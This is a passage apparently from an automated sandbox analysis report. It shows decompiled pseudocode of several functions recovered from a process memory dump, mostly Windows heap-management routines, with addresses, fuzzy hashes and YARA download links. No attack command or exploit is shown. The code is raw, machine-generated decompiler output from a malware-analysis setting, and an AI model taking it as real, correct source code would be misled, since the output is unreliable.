							_t103 = (_t121 & 0xffffff00 | _t197 > 0x00000000) & 0x000000ff;
							if(((_t121 & 0xffffff00 | _t197 > 0x00000000) & 0x000000ff) == 0) {
								goto L41;
							} else {
								_t137 =  *((intOrPtr*)(_t191 - 0x20));
								continue;
							}
						}
					} else {
						 *(_t191 - 4) = _t135;
						_t103 = _t187 - 1 + _t190;
						 *(_t191 - 0x30) = _t103;
						if(_t103 <  *((intOrPtr*)(_t191 - 0x3c))) {
							__eflags = _t190 - 1;
							if(__eflags > 0) {
								_t179 =  *(_t191 - 0x28);
								_t161 = _t179 + (_t187 >> 5) * 4;
								 *(_t191 - 0x2c) = _t161;
								_t128 = _t179 + ( *(_t191 - 0x30) >> 5) * 4;
								 *(_t191 - 0x44) = _t128;
								_t180 =  *_t161;
								__eflags = _t161 - _t128;
								if(_t161 != _t128) {
									_t103 = (_t128 | 0xffffffff) << _t187;
									__eflags = _t103 & _t180;
									if((_t103 & _t180) != 0) {
										goto L5;
									} else {
										_t130 =  *(_t191 - 0x2c);
										_t164 =  *(_t191 - 0x44);
										while(1) {
											_t130 = _t130 + 4;
											 *(_t191 - 0x2c) = _t130;
											_t180 =  *_t130;
											__eflags = _t130 - _t164;
											if(_t130 == _t164) {
												break;
											}
											__eflags = _t180;
											if(_t180 == 0) {
												continue;
											} else {
												goto L5;
											}
											goto L19;
										}
										_t103 = (_t130 | 0xffffffff) >>  !( *(_t191 - 0x30));
										__eflags = _t103;
										goto L17;
									}
								} else {
									_t167 = 0x20;
									_t103 = (_t128 | 0xffffffff) >> _t167 - _t190 << _t187;
									L17:
									_t183 =  ~(_t180 & _t103);
									asm("sbb dl, dl");
									goto L18;
								}
							} else {
								if(__eflags != 0) {
									goto L5;
								} else {
									_t103 =  *(_t191 - 0x28);
									asm("bt [eax], edi");
									_t183 =  ~(_t172 & 0xffffff00 | __eflags > 0x00000000);
									asm("sbb dl, dl");
									L18:
									_t181 = _t183 + 1;
									__eflags = _t181;
								}
							}
						} else {
							L5:
							_t181 = _t135;
						}
						L19:
						 *(_t191 - 0x19) = _t181;
						_t163 = _t181 & 0x000000ff;
						 *(_t191 - 0x48) = _t163;
						 *(_t191 - 4) = 0xfffffffe;
						if(_t163 == 0) {
							L41:
							_t136 =  *((intOrPtr*)(_t191 - 0x20));
						} else {
							_t137 =  *((intOrPtr*)(_t191 - 0x20));
							goto L22;
						}
					}
					L42:
					__eflags =  *(_t191 - 0x40);
					if( *(_t191 - 0x40) != 0) {
						_t142 = _t136 + 0x14;
						 *((intOrPtr*)(_t136 + 0x14)) = 0xffffffff;
						__eflags = 0;
						asm("lock or [eax], edx");
						_t103 = E1E12DFDF(_t136 + 0x14, 1, _t142);
					}
					return E1E14D0D1(_t103);
				}
			}

0x1e1c1d55
0x1e1c1d55
0x1e1c1d57
0x1e1c1d5c
0x1e1c1d63
0x1e1c1d66
0x1e1c1d69
0x1e1c1d6c
0x1e1c1d6e
0x1e1c1d71
0x1e1c1d74
0x1e1c1d77
0x1e1c1d7a
0x1e1c1d7d
0x1e1c1d82
0x1e1c1d85
0x1e1c1d88
0x1e1c1d8d
0x1e1c1d90
0x1e1c1d94
0x1e1c1d96
0x1e1c1d98
0x1e1c1d98
0x1e1c1d9b
0x1e1c1d9e
0x00000000
0x1e1c1da1
0x1e1c1da5
0x1e1c1e78
0x1e1c1e78
0x1e1c1e82
0x1e1c1e87
0x1e1c1e8a
0x1e1c1e8d
0x1e1c1e92
0x1e1c1e95
0x1e1c1e98
0x1e1c1e9b
0x1e1c1ede
0x1e1c1ee3
0x1e1c1ee8
0x1e1c1ef2
0x1e1c1ef2
0x1e1c1ef5
0x1e1c1ef8
0x1e1c1efe
0x1e1c1f03
0x00000000
0x1e1c1f09
0x1e1c1f0c
0x1e1c1f0e
0x1e1c1f11
0x00000000
0x1e1c1f17
0x1e1c1f17
0x1e1c1f1a
0x1e1c1f31
0x1e1c1f34
0x1e1c1f3f
0x1e1c1f42
0x1e1c1f45
0x1e1c1f47
0x1e1c1f4a
0x1e1c1f4d
0x1e1c1f4f
0x1e1c1f63
0x1e1c1f65
0x1e1c1f67
0x00000000
0x1e1c1f69
0x1e1c1f69
0x1e1c1f72
0x1e1c1f72
0x1e1c1f75
0x1e1c1f77
0x00000000
0x00000000
0x1e1c1f6e
0x1e1c1f70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1c1f70
0x1e1c1f83
0x1e1c1f83
0x1e1c1f85
0x00000000
0x1e1c1f85
0x1e1c1f51
0x1e1c1f53
0x1e1c1f5a
0x1e1c1f5c
0x1e1c1f87
0x1e1c1f87
0x1e1c1f87
0x1e1c1f8b
0x1e1c1f8d
0x1e1c1f90
0x00000000
0x1e1c1f90
0x1e1c1f1c
0x1e1c1f1c
0x00000000
0x1e1c1f22
0x1e1c1f22
0x1e1c1f25
0x1e1c1f28
0x1e1c1f97
0x1e1c1f97
0x1e1c1f9d
0x1e1c1fa7
0x1e1c1faa
0x1e1c1fb1
0x1e1c1fb9
0x1e1c1fbd
0x1e1c1fbe
0x1e1c1fc0
0x1e1c1f2a
0x1e1c1f93
0x1e1c1f93
0x1e1c1f95
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1c1f95
0x1e1c1f28
0x1e1c1f1c
0x1e1c1f1a
0x1e1c1f11
0x1e1c1e9d
0x1e1c1ea0
0x1e1c1eae
0x1e1c1eb4
0x1e1c1ebc
0x1e1c1ebc
0x1e1c1ec2
0x1e1c1ec8
0x1e1c1ecd
0x00000000
0x1e1c1ed3
0x1e1c1ed3
0x00000000
0x1e1c1ed3
0x1e1c1ecd
0x1e1c1dab
0x1e1c1dab
0x1e1c1db1
0x1e1c1db3
0x1e1c1db9
0x1e1c1dbf
0x1e1c1dc2
0x1e1c1dda
0x1e1c1ddd
0x1e1c1de0
0x1e1c1de9
0x1e1c1dec
0x1e1c1def
0x1e1c1df1
0x1e1c1df3
0x1e1c1e0a
0x1e1c1e0c
0x1e1c1e0e
0x00000000
0x1e1c1e10
0x1e1c1e10
0x1e1c1e13
0x1e1c1e16
0x1e1c1e16
0x1e1c1e19
0x1e1c1e1c
0x1e1c1e1e
0x1e1c1e20
0x00000000
0x00000000
0x1e1c1e22
0x1e1c1e24
0x00000000
0x1e1c1e26
0x00000000
0x1e1c1e26
0x00000000
0x1e1c1e24
0x1e1c1e30
0x1e1c1e30
0x00000000
0x1e1c1e30
0x1e1c1df5
0x1e1c1df7
0x1e1c1e01
0x1e1c1e32
0x1e1c1e34
0x1e1c1e36
0x00000000
0x1e1c1e36
0x1e1c1dc4
0x1e1c1dc4
0x00000000
0x1e1c1dc6
0x1e1c1dc6
0x1e1c1dc9
0x1e1c1dcf
0x1e1c1dd1
0x1e1c1e38
0x1e1c1e38
0x1e1c1e38
0x1e1c1e38
0x1e1c1dc4
0x1e1c1dbb
0x1e1c1dbb
0x1e1c1dbb
0x1e1c1dbb
0x1e1c1e3a
0x1e1c1e3a
0x1e1c1e3d
0x1e1c1e40
0x1e1c1e43
0x1e1c1e6f
0x1e1c1fc7
0x1e1c1fc7
0x1e1c1e75
0x1e1c1e75
0x00000000
0x1e1c1e75
0x1e1c1e6f
0x1e1c1fca
0x1e1c1fca
0x1e1c1fce
0x1e1c1fd0
0x1e1c1fd3
0x1e1c1fd9
0x1e1c1fde
0x1e1c1fe4
0x1e1c1fe4
0x1e1c1fee
0x1e1c1fee

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5efee7f19a7d0b2bba294e84e92ae7d0251cd446b4766ee05e04d1ece7a4cc
Instruction ID: e9d1641414fade592c202b0802710189eb38e42595b58debca2348abc15922c2
Opcode Fuzzy Hash: 1e5efee7f19a7d0b2bba294e84e92ae7d0251cd446b4766ee05e04d1ece7a4cc
Instruction Fuzzy Hash: 4E816A75F502598FCB08CFA8C9909ECB7F2BF59314B244369E411EB384DB31A98ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E1BDBD2, Relevance: .2, Instructions: 212
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E1E1BDBD2(intOrPtr* __ecx, unsigned int __edx, intOrPtr _a4, signed int _a8) {
				char _v5;
				signed short _v12;
				signed int _v16;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed short _v40;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int* _t75;
				signed short _t77;
				intOrPtr _t78;
				signed int _t92;
				signed int _t98;
				signed int _t99;
				signed short _t105;
				unsigned int _t108;
				signed int _t112;
				signed int _t119;
				signed int _t124;
				intOrPtr _t137;
				signed char _t139;
				signed int _t140;
				unsigned int _t141;
				signed char _t142;
				intOrPtr _t152;
				signed int _t153;
				signed int _t158;
				signed int _t159;
				intOrPtr _t172;
				signed int _t176;
				signed int _t178;
				signed short _t182;
				intOrPtr _t183;

				_t119 = __edx;
				_v20 = __ecx;
				_t152 = _a4;
				_t172 = 0;
				_t182 = __edx >> 0x0000000c ^  *(__edx + 0x18) ^  *0x1e1e6114;
				_v16 = __edx;
				_v36 = 0;
				_v5 = 0xff;
				_v40 = _t182;
				_v24 = _t182 >> 0x10;
				if(_t152 == 0) {
					L14:
					_t124 =  *(_t119 + 0x12) & 0x0000ffff;
					_v24 = _t124;
					_t183 = _v36;
					_t53 = _t119 + 0x10; // 0x10
					_t75 = _t53;
					_v28 = _t75;
					_t77 =  *_t75 & 0x0000ffff;
					_v12 = _t77;
					L15:
					while(1) {
						if(_t183 != 0) {
							L20:
							_t153 = _t77 + 0x00000001 & 0x0000ffff;
							asm("lock cmpxchg [ebx], cx");
							_t119 = _v16;
							_t77 = _t77 & 0x0000ffff;
							_v12 = _t77;
							if(_t153 == (_t77 & 0x0000ffff) + 1) {
								if(_t77 == 0) {
									_t78 = _t172;
									L27:
									_t119 = E1E1BD016(_t119, _t183, _t119, _t78);
									E1E10FFB0(_t119, _t172, _t183 + 8);
									_t183 = _t172;
									if(_t119 != 0) {
										E1E1BC52D(_v20,  *((intOrPtr*)(_v20 + 0x78 + ( *(((_v40 & 0x0000ffff) + 7 >> 3) + 0x1e0daff8) & 0x000000ff) * 4)), _t119, _a8);
									}
									L29:
									_t172 = 1;
									if(_t183 != 0) {
										_t72 = _t183 + 8; // 0x8
										E1E10FFB0(_t119, 1, _t72);
									}
									L31:
									return _t172;
								}
								if((_t77 & 0x0000ffff) != _v24 - 1) {
									goto L29;
								}
								_t78 = 2;
								goto L27;
							}
							_t124 = _v24;
							continue;
						}
						if(_t77 == 0 || (_t77 & 0x0000ffff) == _t124 - 1) {
							_t183 = E1E1BE018(_t119,  &_v5);
							if(_t183 == 0) {
								_t172 = 1;
								goto L31;
							}
							goto L19;
						} else {
							L19:
							_t77 = _v12;
							goto L20;
						}
					}
				}
				_t92 = _t182 & 0x0000ffff;
				_v28 = _t92;
				_t137 =  *((intOrPtr*)(__ecx + 0x78 + ( *((_t92 + 7 >> 3) + 0x1e0daff8) & 0x000000ff) * 4));
				_t98 =  *((intOrPtr*)(_t137 + 0x24));
				_t158 = _t152 - (_v24 & 0x0000ffff) - __edx;
				_v24 = _t98;
				_t99 = _t158;
				_v32 = _t158;
				_t139 =  *(_t137 + 0x28) & 0x000000ff;
				if(_t98 == 0) {
					_v12 = _t99 >> _t139;
					_t159 = _t158 & (1 << _t139) - 0x00000001;
					_t105 = _v12;
				} else {
					_t105 = E1E13D340(_t99 * _v24, _t139, _t99 * _v24 >> 0x20);
					_v12 = _t105;
					_t159 = _v32 - _v28 * _t105;
				}
				if(_t159 == 0) {
					_t140 =  *(_t119 + 0x14) & 0x0000ffff;
					if(_t140 >= _t105) {
						_t140 = _t105 & 0x0000ffff;
					}
					 *(_t119 + 0x14) = _t140;
					_t141 = _t105 + _t105;
					_t142 = _t141 & 0x0000001f;
					_t176 = 3;
					_t178 =  !(_t176 << _t142);
					_t108 =  *(_t119 + (_t141 >> 5) * 4 + 0x20);
					do {
						asm("lock cmpxchg [ebx], edx");
					} while ((_t108 & _t178) != 0);
					if((_t108 >> _t142 & 0x00000001) != 0) {
						_t119 = _v16;
						_t172 = 0;
						if( *((char*)(_t119 + 0x1d)) > 1) {
							_t112 = E1E1BD864(_t119, _a4 - _t119, _t182 & 0x0000ffff, 0,  &_v32);
							_t184 = _t112;
							if(_t112 != 0xffffffff) {
								asm("lock xadd [ecx], edx");
								E1E1BD8DF(_v20, _t119, _t184, 2, _a8);
							}
						}
						goto L14;
					}
					_push(_t142);
					_push(_v12);
					E1E1BA80D( *_v20, 0x11, _a4, _v16);
					_t172 = 0;
				}
			}

0x1e1bdbdc
0x1e1bdbde
0x1e1bdbe1
0x1e1bdbed
0x1e1bdbef
0x1e1bdbf7
0x1e1bdbfd
0x1e1bdc00
0x1e1bdc04
0x1e1bdc07
0x1e1bdc0c
0x1e1bdd1f
0x1e1bdd1f
0x1e1bdd23
0x1e1bdd26
0x1e1bdd29
0x1e1bdd29
0x1e1bdd2c
0x1e1bdd32
0x1e1bdd35
0x00000000
0x1e1bdd38
0x1e1bdd3a
0x1e1bdd5d
0x1e1bdd63
0x1e1bdd69
0x1e1bdd6e
0x1e1bdd71
0x1e1bdd78
0x1e1bdd7d
0x1e1bdd8c
0x1e1bdd9e
0x1e1bdda0
0x1e1bddad
0x1e1bddb0
0x1e1bddb5
0x1e1bddb9
0x1e1bddd9
0x1e1bddd9
0x1e1bddde
0x1e1bdde0
0x1e1bdde3
0x1e1bdde5
0x1e1bdde9
0x1e1bdde9
0x1e1bddee
0x1e1bddf6
0x1e1bddf6
0x1e1bdd97
0x00000000
0x00000000
0x1e1bdd9b
0x00000000
0x1e1bdd9b
0x1e1bdd7f
0x00000000
0x1e1bdd7f
0x1e1bdd3f
0x1e1bdd54
0x1e1bdd58
0x1e1bdd86
0x00000000
0x1e1bdd86
0x00000000
0x1e1bdd5a
0x1e1bdd5a
0x1e1bdd5a
0x00000000
0x1e1bdd5a
0x1e1bdd3f
0x1e1bdd38
0x1e1bdc12
0x1e1bdc15
0x1e1bdc25
0x1e1bdc31
0x1e1bdc34
0x1e1bdc3b
0x1e1bdc3e
0x1e1bdc40
0x1e1bdc43
0x1e1bdc46
0x1e1bdc62
0x1e1bdc6b
0x1e1bdc6d
0x1e1bdc48
0x1e1bdc4b
0x1e1bdc59
0x1e1bdc5c
0x1e1bdc5c
0x1e1bdc72
0x1e1bdc78
0x1e1bdc7f
0x1e1bdc81
0x1e1bdc81
0x1e1bdc84
0x1e1bdc88
0x1e1bdc8d
0x1e1bdc95
0x1e1bdc9b
0x1e1bdca0
0x1e1bdca2
0x1e1bdca6
0x1e1bdca6
0x1e1bdcb0
0x1e1bdcd1
0x1e1bdcd4
0x1e1bdcda
0x1e1bdcec
0x1e1bdcf1
0x1e1bdcf6
0x1e1bdd0c
0x1e1bdd1a
0x1e1bdd1a
0x1e1bdcf6
0x00000000
0x1e1bdcda
0x1e1bdcb5
0x1e1bdcb6
0x1e1bdcc5
0x1e1bdcca
0x1e1bdcca

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb62131602c274b9bfc51effec57eeb74ac28f59f252c0738daef6e397711223
Instruction ID: f1494566db4c1ca4e7c9dda0de808b27b764bb01eb3028da4c2a1b7911b6cc8e
Opcode Fuzzy Hash: eb62131602c274b9bfc51effec57eeb74ac28f59f252c0738daef6e397711223
Instruction Fuzzy Hash: 9071E975E1016A9FCB08CF69C4909BEB7F2EF88310B514269E895EB384D734DD85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C28EC, Relevance: .2, Instructions: 211
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E1E1C28EC(signed int __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				unsigned int _t62;
				unsigned int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t77;
				intOrPtr _t85;
				unsigned int _t95;
				signed int _t98;
				signed int _t100;
				void* _t104;
				signed short _t108;
				signed int _t113;
				intOrPtr _t115;
				signed int _t116;
				intOrPtr _t117;
				signed int _t118;
				intOrPtr _t120;
				signed int _t121;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				signed int _t126;
				signed int _t136;
				signed int _t137;
				signed int _t140;
				signed int _t145;
				signed int _t147;
				signed int _t148;
				void* _t156;

				_t115 = _a4;
				_v40 = __edx;
				_t147 = __ecx;
				_v20 = __ecx;
				if(__edx != _t115) {
					_t115 = _t115 + 2;
				}
				_t62 = _t115 + 7 >> 3;
				_t120 = _t62 + 1;
				_v28 = _t120;
				if(( *(_t147 + 0x38) & 0x00000001) != 0) {
					_t120 = _t62 + 2;
					_v28 = _t120;
				}
				_t64 = _t120 + _t120 & 0x0000ffff;
				_t136 = _a8 & 0x00000001;
				_v36 = _t120 + _t120 & 0x0000ffff;
				_v12 = _t136;
				if(_t136 == 0) {
					E1E112280(_t64, _t147);
					_t136 = _v12;
				}
				_v5 = 0xff;
				while(1) {
					L7:
					_t121 = 0;
					_t145 =  *(_t147 + 8);
					_v24 =  *(_t147 + 0xc) & 1;
					_v16 = 0;
					if(_t145 == 0) {
						goto L17;
					}
					_t108 =  *0x1e1e6110; // 0xdc35c6d8
					_v32 = _t108 & 0x0000ffff;
					do {
						_t156 = _v36 - ( *(_t145 - 4) & 0x0000ffff ^ _t145 - 0x00000004 & 0x0000ffff ^ _v32);
						if(_t156 < 0) {
							__eflags = _v24;
							_t121 = _t145;
							_t113 =  *_t145;
							_v16 = _t121;
							if(_v24 == 0) {
								L15:
								_t145 = _t113;
								goto L16;
							}
							__eflags = _t113;
							if(_t113 == 0) {
								goto L15;
							}
							_t145 = _t145 ^ _t113;
							goto L16;
						}
						if(_t156 <= 0) {
							L18:
							if(_t145 != 0) {
								_t122 =  *0x1e1e6110; // 0xdc35c6d8
								_t36 = _t145 - 4; // -4
								_t116 = _t36;
								_t137 = _t116;
								_t69 =  *_t116 ^ _t122 ^ _t116;
								__eflags = _t69;
								if(_t69 >= 0) {
									_t71 = _t69 >> 0x00000010 & 0x00007fff;
									__eflags = _t71;
									if(_t71 == 0) {
										L36:
										_t72 = 0;
										__eflags = 0;
										L37:
										_t139 = _t137 - (_t72 << 0x0000000c) & 0xfffff000;
										__eflags = (0x0000abed ^  *((_t137 - (_t72 << 0x0000000c) & 0xfffff000) + 0x16)) -  *((intOrPtr*)((_t137 - (_t72 << 0x0000000c) & 0xfffff000) + 0x14));
										if(__eflags == 0) {
											_t77 = E1E1C25DD(_t147, _t139, __eflags, _t116, _v28, _a8,  &_v5);
											__eflags = _t77;
											if(_t77 == 0) {
												L39:
												_t148 = 0;
												__eflags = _v12;
												if(_v12 != 0) {
													L42:
													return _t148;
												}
												E1E10FFB0(_t116, _t145, _v20);
												L41:
												_t148 = 0;
												__eflags = 0;
												goto L42;
											}
											_t46 = _t116 + 8; // 0x4
											_t148 = _t46;
											_t140 = (( *_t116 ^  *0x1e1e6110 ^ _t116) >> 0x00000001 & 0x00007fff) * 8 - 8;
											_t85 = _v20;
											__eflags =  *(_t85 + 0x38) & 0x00000001;
											if(( *(_t85 + 0x38) & 0x00000001) != 0) {
												_t118 = _t116 + 0x10;
												__eflags = _t118 & 0x00000fff;
												if((_t118 & 0x00000fff) == 0) {
													_t148 = _t118;
													_t140 = _t140 - 8;
													__eflags = _t140;
												}
											}
											_t117 = _v40;
											_t124 =  *_t145;
											__eflags = _t117 - _t140;
											if(_t117 >= _t140) {
												_t125 = _t124 & 0xfffffeff;
												__eflags = _t125;
												 *_t145 = _t125;
											} else {
												_t126 = _t124 | 0x00000100;
												_push(_t126);
												 *_t145 = _t126;
												E1E1C2506(_t148, _t140, _t140 - _t117);
												_t85 = _v20;
											}
											__eflags = _v12;
											if(_v12 == 0) {
												E1E10FFB0(_t117, _t145, _t85);
											}
											__eflags = _a8 & 0x00000002;
											if((_a8 & 0x00000002) != 0) {
												E1E13FA60(_t148, 0, _t117);
											}
											goto L42;
										}
										_push(_t122);
										_push(0);
										E1E1BA80D( *((intOrPtr*)(_t147 + 0x20)), 0x12, _t139, _t116);
										goto L39;
									}
									_t137 = _t116 - (_t71 << 3);
									_t95 =  *_t137 ^ _t122 ^ _t137;
									__eflags = _t95;
									if(_t95 < 0) {
										L34:
										_t98 =  *(_t137 + 4) ^ _t122 ^ _t137;
										__eflags = _t98;
										L35:
										_t72 = _t98 & 0x000000ff;
										goto L37;
									}
									_t100 = _t95 >> 0x00000010 & 0x00007fff;
									__eflags = _t100;
									if(_t100 == 0) {
										goto L36;
									}
									_t137 = _t137 + _t100 * 0xfffffff8;
									__eflags = _t137;
									goto L34;
								}
								_t98 =  *_t145 ^ _t122 ^ _t116;
								goto L35;
							}
							if(_t136 == 0) {
								E1E10FFB0(_t115, _t145, _t147);
							}
							_t104 = E1E1C3149(_t147, _t115, _a8);
							_t146 = _t104;
							if(_t104 == 0) {
								goto L41;
							} else {
								if(_v12 == 0) {
									E1E112280(_t104, _t147);
								}
								_v5 = 0xff;
								E1E1C2876(_t147, _t146);
								_t136 = _v12;
								goto L7;
							}
						}
						_t113 =  *(_t145 + 4);
						if(_v24 == 0 || _t113 == 0) {
							_t121 = _v16;
							goto L15;
						} else {
							_t121 = _v16;
							_t145 = _t145 ^ _t113;
						}
						L16:
					} while (_t145 != 0);
					L17:
					_t145 = _t121;
					goto L18;
				}
			}

0x1e1c28f5
0x1e1c28fa
0x1e1c28fe
0x1e1c2900
0x1e1c2906
0x1e1c2908
0x1e1c2908
0x1e1c290e
0x1e1c2915
0x1e1c2918
0x1e1c291b
0x1e1c291d
0x1e1c2920
0x1e1c2920
0x1e1c2929
0x1e1c292c
0x1e1c292f
0x1e1c2932
0x1e1c2935
0x1e1c2938
0x1e1c293d
0x1e1c293d
0x1e1c2940
0x1e1c2944
0x1e1c2944
0x1e1c2948
0x1e1c294a
0x1e1c2950
0x1e1c2953
0x1e1c2958
0x00000000
0x00000000
0x1e1c295a
0x1e1c2962
0x1e1c2965
0x1e1c2976
0x1e1c2978
0x1e1c29e0
0x1e1c29e4
0x1e1c29e6
0x1e1c29e8
0x1e1c29eb
0x1e1c2993
0x1e1c2993
0x00000000
0x1e1c2993
0x1e1c29ed
0x1e1c29ef
0x00000000
0x00000000
0x1e1c29f1
0x00000000
0x1e1c29f1
0x1e1c297a
0x1e1c299b
0x1e1c299d
0x1e1c29f5
0x1e1c29fb
0x1e1c29fb
0x1e1c2a00
0x1e1c2a04
0x1e1c2a04
0x1e1c2a06
0x1e1c2a13
0x1e1c2a13
0x1e1c2a18
0x1e1c2a44
0x1e1c2a44
0x1e1c2a44
0x1e1c2a46
0x1e1c2a50
0x1e1c2a5a
0x1e1c2a5e
0x1e1c2a99
0x1e1c2a9e
0x1e1c2aa0
0x1e1c2a70
0x1e1c2a70
0x1e1c2a72
0x1e1c2a75
0x1e1c2a82
0x1e1c2a89
0x1e1c2a89
0x1e1c2a7a
0x1e1c2a7f
0x1e1c2a7f
0x1e1c2a7f
0x00000000
0x1e1c2a7f
0x1e1c2aa4
0x1e1c2aa4
0x1e1c2ab6
0x1e1c2abd
0x1e1c2ac0
0x1e1c2ac4
0x1e1c2ac6
0x1e1c2ac9
0x1e1c2acf
0x1e1c2ad1
0x1e1c2ad3
0x1e1c2ad3
0x1e1c2ad3
0x1e1c2acf
0x1e1c2ad6
0x1e1c2ad9
0x1e1c2adb
0x1e1c2add
0x1e1c2af9
0x1e1c2af9
0x1e1c2aff
0x1e1c2adf
0x1e1c2adf
0x1e1c2ae7
0x1e1c2aea
0x1e1c2aef
0x1e1c2af4
0x1e1c2af4
0x1e1c2b01
0x1e1c2b05
0x1e1c2b08
0x1e1c2b08
0x1e1c2b0d
0x1e1c2b11
0x1e1c2b1b
0x1e1c2b20
0x00000000
0x1e1c2b11
0x1e1c2a60
0x1e1c2a61
0x1e1c2a6b
0x00000000
0x1e1c2a6b
0x1e1c2a1f
0x1e1c2a25
0x1e1c2a25
0x1e1c2a27
0x1e1c2a38
0x1e1c2a3d
0x1e1c2a3d
0x1e1c2a3f
0x1e1c2a3f
0x00000000
0x1e1c2a3f
0x1e1c2a2c
0x1e1c2a2c
0x1e1c2a31
0x00000000
0x00000000
0x1e1c2a36
0x1e1c2a36
0x00000000
0x1e1c2a36
0x1e1c2a0c
0x00000000
0x1e1c2a0c
0x1e1c29a1
0x1e1c29a4
0x1e1c29a4
0x1e1c29b0
0x1e1c29b5
0x1e1c29b9
0x00000000
0x1e1c29bf
0x1e1c29c3
0x1e1c29c6
0x1e1c29c6
0x1e1c29cd
0x1e1c29d3
0x1e1c29d8
0x00000000
0x1e1c29d8
0x1e1c29b9
0x1e1c2980
0x1e1c2983
0x1e1c2990
0x00000000
0x1e1c2989
0x1e1c2989
0x1e1c298c
0x1e1c298c
0x1e1c2995
0x1e1c2995
0x1e1c2999
0x1e1c2999
0x00000000
0x1e1c2999

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8dc7bb3e99f098e761daf7595b3efccf88a260d9cd8a38dc6b27e8fcc25fd6a
Instruction ID: 0e30a6ae32e09f9a3c4f5d40eaa64e63ac63b8a8c30632784561c43641e51b12
Opcode Fuzzy Hash: a8dc7bb3e99f098e761daf7595b3efccf88a260d9cd8a38dc6b27e8fcc25fd6a
Instruction Fuzzy Hash: 4C712831A0095A8BCB04CF69C9907EEB7F2EF58B10F218B69E419D7284DB34E981C751

Uniqueness

Uniqueness Score: -1.00%

Function 1E1B1002, Relevance: .2, Instructions: 198
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E1B1002(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _t75;
				intOrPtr* _t76;
				signed int _t77;
				signed short _t78;
				signed short _t80;
				signed int _t81;
				signed short _t82;
				signed short _t83;
				signed short _t85;
				signed int _t86;
				void* _t90;
				signed short _t91;
				signed int _t95;
				signed short _t97;
				signed short _t99;
				intOrPtr* _t101;
				signed short _t102;
				signed int _t103;
				signed short _t105;
				intOrPtr _t106;
				signed int* _t108;
				signed short _t109;
				signed short _t111;
				signed short _t112;
				signed int _t113;
				signed short _t117;
				signed int _t120;
				void* _t121;
				signed int _t122;
				signed int _t126;
				signed int* _t127;
				signed short _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				signed int _t132;
				signed int _t133;

				_t121 = __edx;
				_t130 = __ecx;
				_v16 = __ecx;
				_t108 = __ecx + 0xa4;
				_t75 =  *_t108;
				L4:
				L4:
				if(_t75 != _t108) {
					goto L1;
				} else {
					_t127 = _t130 + 0x9c;
					_t120 =  *_t127;
				}
				while(_t120 != _t127) {
					_t132 = _t120 & 0xffff0000;
					__eflags = _t132 - _t121;
					if(_t132 <= _t121) {
						_t75 =  *((intOrPtr*)(_t120 + 0x14)) + _t132;
						__eflags = _t75 - _t121;
						if(_t75 > _t121) {
							 *0x1e1e5898 = 5;
						}
					}
					_t120 =  *_t120;
				}
				L68:
				return _t75;
				L1:
				_t3 = _t75 - 0x10; // -16
				_t126 = _t3;
				_v20 = _t126;
				__eflags =  *((intOrPtr*)(_t126 + 0x1c)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x1c)) > _t121) {
					L3:
					_t75 =  *_t75;
					goto L4;
				}
				__eflags =  *((intOrPtr*)(_t126 + 0x28)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x28)) > _t121) {
					_t8 = _t126 + 0x38; // 0x28
					_t101 = _t8;
					_t109 = 0;
					_v8 = _v8 & 0;
					_t76 =  *_t101;
					_v12 = _t101;
					__eflags = _t76 - _t101;
					if(_t76 == _t101) {
						L17:
						_t102 = 0;
						_v20 = 0;
						__eflags = _t109;
						if(_t109 == 0) {
							_t109 = _t126;
						}
						_t128 = 0;
						__eflags = _t109 - _t121;
						if(_t109 >= _t121) {
							L29:
							_t111 = _v8 + 0xfffffff8;
							__eflags = _t111 - _t121;
							if(_t111 <= _t121) {
								L33:
								 *0x1e1e58b0 = _t128;
								 *0x1e1e58b4 = _t102;
								__eflags = _t128;
								if(_t128 == 0) {
									L42:
									__eflags =  *(_t130 + 0x4c);
									if( *(_t130 + 0x4c) == 0) {
										_t77 =  *_t128 & 0x0000ffff;
										_t112 = 0;
										__eflags = 0;
									} else {
										_t85 =  *_t128;
										_t112 =  *(_t130 + 0x4c);
										__eflags = _t85 & _t112;
										if((_t85 & _t112) != 0) {
											_t85 = _t85 ^  *(_t130 + 0x50);
											__eflags = _t85;
										}
										_t77 = _t85 & 0x0000ffff;
									}
									_v8 = _t77;
									__eflags = _t102;
									if(_t102 != 0) {
										_t117 =  *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff;
